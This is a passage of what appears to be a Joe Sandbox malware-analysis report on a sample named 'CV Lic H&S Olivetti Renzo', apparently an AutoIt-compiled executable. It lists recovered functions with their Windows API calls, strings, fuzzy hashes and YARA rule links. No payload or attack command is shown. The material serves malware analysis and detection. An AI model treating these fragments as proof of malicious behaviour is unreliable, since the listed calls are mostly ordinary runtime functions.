Opcode ID: 0951d72af73e36e12a59672fdc29df0cce6218199fb8be252c5bc015a312625e
Instruction ID: 311a90677bc83adf612831e5cfd989479b018d5415643f009931fd7bd375ffcb
Opcode Fuzzy Hash: 0951d72af73e36e12a59672fdc29df0cce6218199fb8be252c5bc015a312625e
Instruction Fuzzy Hash: D431A5316007049BEB26DF99D845FAEBBF8EF45350F15482DE985E61A0D770BD84DB10

Function 003D658B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 003D6608

Strings

AUTOITCALLVARIABLE%d, xrefs: 003D65FA
, $, xrefs: 003D6648

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: __snwprintf
String ID: , $$AUTOITCALLVARIABLE%d
API String ID: 2391506597-2584243854
Opcode ID: 01f8d5c6fcee2436a6f334638d4be2eec653f96226bd0f7eafd3fa7b8e4c387d
Instruction ID: 88005ce8433b0c515682838a24e8446c94c8400ac3aad0709a2064abc54dd33a
Opcode Fuzzy Hash: 01f8d5c6fcee2436a6f334638d4be2eec653f96226bd0f7eafd3fa7b8e4c387d
Instruction Fuzzy Hash: C4219171600218AFCF12EFA4D882FEE77B4AF49700F10049AF515AF281DB74EA45CBA5

Function 003E93CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 003E945C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 003E9467

Strings

Combobox, xrefs: 003E9429

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 860c62f736d480f7cd2f9ad01e8f8a7fa5abb9ac595eda0ac5957f98477f1e33
Instruction ID: 43aff484c257234f6ecb38e4c235572315796bd37be152f41ad975484d8f0f94
Opcode Fuzzy Hash: 860c62f736d480f7cd2f9ad01e8f8a7fa5abb9ac595eda0ac5957f98477f1e33
Instruction Fuzzy Hash: 2F1186713102586FEF12DF56DC81FBB376EEB483A4F114226F915972E0D6719C528B60

Function 003EDA42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 0039B34E: GetWindowLongW.USER32(?,000000EB), ref: 0039B35F

GetActiveWindow.USER32 ref: 003EDA7B
EnumChildWindows.USER32(?,003ED75F,00000000), ref: 003EDAF5

Strings

T1=, xrefs: 003EDAFB

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Window$ActiveChildEnumLongWindows
String ID: T1=
API String ID: 3814560230-180425949
Opcode ID: f7b2b84b0cb24b37c97561b4f315fbc377a51697b3a662131c4fcc766e472c31
Instruction ID: 43f7e2035a55542d86f360c8d7f60f306ab9443df9b9e240139d18d537135d76
Opcode Fuzzy Hash: f7b2b84b0cb24b37c97561b4f315fbc377a51697b3a662131c4fcc766e472c31
Instruction Fuzzy Hash: 18214F39604251DFCB15DF29E850AA6B3F5EF5A320F160729F969873E0D730A840CF64

Function 003E98FE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0039D17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0039D1BA
Part of subcall function 0039D17C: GetStockObject.GDI32(00000011), ref: 0039D1CE
Part of subcall function 0039D17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 0039D1D8

GetWindowRect.USER32(00000000,?), ref: 003E9968
GetSysColor.USER32(00000012), ref: 003E9982

Strings

static, xrefs: 003E9945

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: fd699ada43018a38bd899cd865885abf53f58abccd5ac818aca42084334b5658
Instruction ID: 9f7e315340c5ac67b2b2876a83fcb0772c13600019ee1e4746b6d9fb562ce9c2
Opcode Fuzzy Hash: fd699ada43018a38bd899cd865885abf53f58abccd5ac818aca42084334b5658
Instruction Fuzzy Hash: EE116772520219AFDF05DFB8CC45EEA7BA8FB08304F014A29F955E3291E735E850DB60

Function 003E9617 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 003E9699
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 003E96A8

Strings

edit, xrefs: 003E967D

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 933491c495c1113ab3da2b54133298dc88e9defe5ab203447edece8694018638
Instruction ID: ba722e097a53795bbc29bfa425bd4e053c7d670321e4f1004d0f3da5b34dfa79
Opcode Fuzzy Hash: 933491c495c1113ab3da2b54133298dc88e9defe5ab203447edece8694018638
Instruction Fuzzy Hash: E2118871500158AAEF129FA59C40BEB3B6AEB093B8F110726F924961E0C635AC909764

Function 003C5262 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003C52D5
GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 003C52F4

Strings

0, xrefs: 003C52CE

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: InfoItemMenu_memset
String ID: 0
API String ID: 2223754486-4108050209
Opcode ID: e2ef5ce1dd228245225bb88410d60b8643149311fa3f38648a8152d8575a877c
Instruction ID: e833ddbd0b099c73f10d81e75e4661dce7b9091402c6c11014ddc8c35fc7e38d
Opcode Fuzzy Hash: e2ef5ce1dd228245225bb88410d60b8643149311fa3f38648a8152d8575a877c
Instruction Fuzzy Hash: A811E67BA01654ABDB12DB98DD04F9D77F8AB46750F060029E982E71A0D7B0FD84C790

Function 003D4D9F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 003D4DF5
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 003D4E1E

Strings

<local>, xrefs: 003D4DE6

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 90b71e07d72a777309830f81b2931cfcf63560fc6e4a1b40dd0603a1a14d18cf
Instruction ID: 9844eb77f7be45936f514ef86525e699b62f44ea563615b50a7486a5b83d5376
Opcode Fuzzy Hash: 90b71e07d72a777309830f81b2931cfcf63560fc6e4a1b40dd0603a1a14d18cf
Instruction Fuzzy Hash: F611AC72501221BBDB268FA1DC89EFBFBADFF06755F10822BF505A6640D3705984C6E0

Function 003AA70C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 003B37A7
___raise_securityfailure.LIBCMT ref: 003B388E

Strings

(D, xrefs: 003B3889

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: (D
API String ID: 3761405300-218117518
Opcode ID: 81c9b5a72ab42584ce04eb3d8f108c4145c5975a95fd339663d700902cbd517b
Instruction ID: 6b022cd175ac55fec130bd5b275c4d1505c1bd8f98e222877f8d3edfad315e30
Opcode Fuzzy Hash: 81c9b5a72ab42584ce04eb3d8f108c4145c5975a95fd339663d700902cbd517b
Instruction Fuzzy Hash: 472112F9510204DAE700DF55E9866407BB4BB4A314F20583AEB088B7A1E7B469B5CB4D

Function 003DA82C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52networkCOMMON

Download Yara Rule

APIs

inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 003DA84E
htons.WSOCK32(00000000,?,00000000), ref: 003DA88B

Strings

255.255.255.255, xrefs: 003DA866

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: htonsinet_addr
String ID: 255.255.255.255
API String ID: 3832099526-2422070025
Opcode ID: 2d90c268cc9924ccff918675f9f6bb4e92734b20c66b82a217db86bae7a238da
Instruction ID: eeb3fa79f817cded5c309e82670a5d5f90c31379e2e1d8719a23a38fe74c3174
Opcode Fuzzy Hash: 2d90c268cc9924ccff918675f9f6bb4e92734b20c66b82a217db86bae7a238da
Instruction Fuzzy Hash: 69012276600304ABCB22AFA8D986FA9B768EF44314F10842BF916AB3D1C771E805D756

Function 003BB781 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 003BB7EF

Strings

ComboBox, xrefs: 003BB78B
ListBox, xrefs: 003BB7B9

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend
String ID: ComboBox$ListBox
API String ID: 3850602802-1403004172
Opcode ID: c15f0e2ac7adccf9216c28027f3e99d200bbbf025ddd655bd6431b1f58284383
Instruction ID: 543313d1cdd25aff5373e654f32a79cc5fc66b73f98e5eb0596073dc5163a8a4
Opcode Fuzzy Hash: c15f0e2ac7adccf9216c28027f3e99d200bbbf025ddd655bd6431b1f58284383
Instruction Fuzzy Hash: C5012871610214ABCB06FBA4CC52DFE73ADBF46314B10061EF561AB2C1EFB05908C764

Function 003BB67D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000180,00000000,?), ref: 003BB6EB

Strings

ComboBox, xrefs: 003BB687
ListBox, xrefs: 003BB6B5

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend
String ID: ComboBox$ListBox
API String ID: 3850602802-1403004172
Opcode ID: 32833819e8474b1a8b655b491adf469b0b0007bc49d0e5e71faf3e2c98794440
Instruction ID: 53f2d91b52cf0d53e70e750fe04df5da96326476b079dc8837158a15258ad390
Opcode Fuzzy Hash: 32833819e8474b1a8b655b491adf469b0b0007bc49d0e5e71faf3e2c98794440
Instruction Fuzzy Hash: EF01A7756411046BCB16FBA4C953FFEB3AC9F05348F10002AB602B7581EFA45E1887B5

Function 003BB700 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000182,?,00000000), ref: 003BB76C

Strings

ComboBox, xrefs: 003BB70A
ListBox, xrefs: 003BB738

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: MessageSend
String ID: ComboBox$ListBox
API String ID: 3850602802-1403004172
Opcode ID: 398276e15d5b5a61840e2c2f852b58645d797d4b0c2b9bc29045e570d4efe2af
Instruction ID: b55027426409d6ad8d1b4433eecbdb8c15c2d527219308cf3456581a15db012e
Opcode Fuzzy Hash: 398276e15d5b5a61840e2c2f852b58645d797d4b0c2b9bc29045e570d4efe2af
Instruction Fuzzy Hash: 21018F75640104ABCB02FAA4CA03BFEB3AC9F05348F10001AB502B7592EFA45E0987B5

Function 003A4D7C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 003A4D9E
__calloc_crt.LIBCMT ref: 003A4DB7

Strings

"D, xrefs: 003A4DCE

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: __calloc_crt
String ID: "D
API String ID: 3494438863-842159925
Opcode ID: cab7cdc3bf738c02a59ca31110d337daeb1b302c86f1e6e00b8fed4fa8548e4b
Instruction ID: 38d4147223984a01ac603c20e07977f9c03f54dedf35cf2daad280e38ca5315e
Opcode Fuzzy Hash: cab7cdc3bf738c02a59ca31110d337daeb1b302c86f1e6e00b8fed4fa8548e4b
Instruction Fuzzy Hash: 51F0F6752496019AE7269F29BD416A67BD4FB87720F14817FF200CE287E7F0C8818798

Function 00384024 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

LoadImageW.USER32(00380000,00000063,00000001,00000010,00000010,00000000), ref: 00384048
EnumResourceNamesW.KERNEL32(00000000,0000000E,003C67E9,00000063,00000000,75C10280,?,?,00383EE1,?,?,000000FF), ref: 003F41B3

Strings

>8, xrefs: 00384028

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: EnumImageLoadNamesResource
String ID: >8
API String ID: 1578290342-2381723519
Opcode ID: 1249c1e17db084c5c5c539f5537cf47dabe3379e81ad785439516c393599ecc2
Instruction ID: 039d9a2a034d6d8293598a23e56239928112ce43d94d8e4007ed7524ba30f849
Opcode Fuzzy Hash: 1249c1e17db084c5c5c539f5537cf47dabe3379e81ad785439516c393599ecc2
Instruction Fuzzy Hash: 0AF0627564031577D3205B15BC4AFD73E59A706BB5F104526F614A65E0D2F094C48798

Function 003C7744 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 003C7762
_wcscmp.LIBCMT ref: 003C7774

Strings

#32770, xrefs: 003C776E

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: fe55ce4139169e8921eba7864be69071a3c78b428ae47955e0e9ea533f6cb9e1
Instruction ID: 404f8907c154bfab07a30777700ae0a79df4b0de39f095eaabdcb7cdd1a666f0
Opcode Fuzzy Hash: fe55ce4139169e8921eba7864be69071a3c78b428ae47955e0e9ea533f6cb9e1
Instruction Fuzzy Hash: 3BE09B77A0422427D7209BA5DC05F97FBACE755764F010026B905E7041D674960587D8

Function 003BA631 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 003BA63F

Part of subcall function 003A13F1: _doexit.LIBCMT ref: 003A13FB

Strings

AutoIt, xrefs: 003BA633
Error allocating memory., xrefs: 003BA638

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 19bba2323af8b8de7408747f18c7b14cffd312040aaec6af8441458170edbcbb
Instruction ID: 487c08a28cfc814fa9d0fb4c24c5d336a7b506942d969a19e3433e8689358457
Opcode Fuzzy Hash: 19bba2323af8b8de7408747f18c7b14cffd312040aaec6af8441458170edbcbb
Instruction Fuzzy Hash: 48D02E323C472833C3163AA83C0BFC936488F0ABA1F140022FB08ED4C249E6DA8002ED

Function 003FAE86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 003FACC0
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 003FAEBD

Strings

WIN_XPe, xrefs: 003FACD3

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: DirectoryFreeLibrarySystem
String ID: WIN_XPe
API String ID: 510247158-3257408948
Opcode ID: a3c69c37cf2d338a0395cfa01050fbc4abba5b8a33b622c0cb5a3b75ff6087b5
Instruction ID: 3f353b5b85fd6c67c0a6777a4af7f0323f7e70ac60ea181886e118ccea514d21
Opcode Fuzzy Hash: a3c69c37cf2d338a0395cfa01050fbc4abba5b8a33b622c0cb5a3b75ff6087b5
Instruction Fuzzy Hash: 0FE039B0C009499FCB13DBA4DA449ECB7BCAB48700F108096E256B6660CB705A88DF26

Function 003E8698 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 003E86A2
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 003E86B5

Part of subcall function 003C7A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 003C7AD0

Strings

Shell_TrayWnd, xrefs: 003E869B

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 95397c9de3f3d0a1224d015bb96cb92170f1e03b44713dc81605bb676c170347
Instruction ID: e5f71f40a829f7bd67fa1889aff34b18edf481ee3f1dc6e93bdf2a61c2de4674
Opcode Fuzzy Hash: 95397c9de3f3d0a1224d015bb96cb92170f1e03b44713dc81605bb676c170347
Instruction Fuzzy Hash: E9D0C935794314BBE36867B09D0BFC66A589B04B11F101829BA49AA1D0C9B5A9448B58

Function 003E86CC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 003E86E2
PostMessageW.USER32(00000000), ref: 003E86E9

Part of subcall function 003C7A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 003C7AD0

Strings

Shell_TrayWnd, xrefs: 003E86DB

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

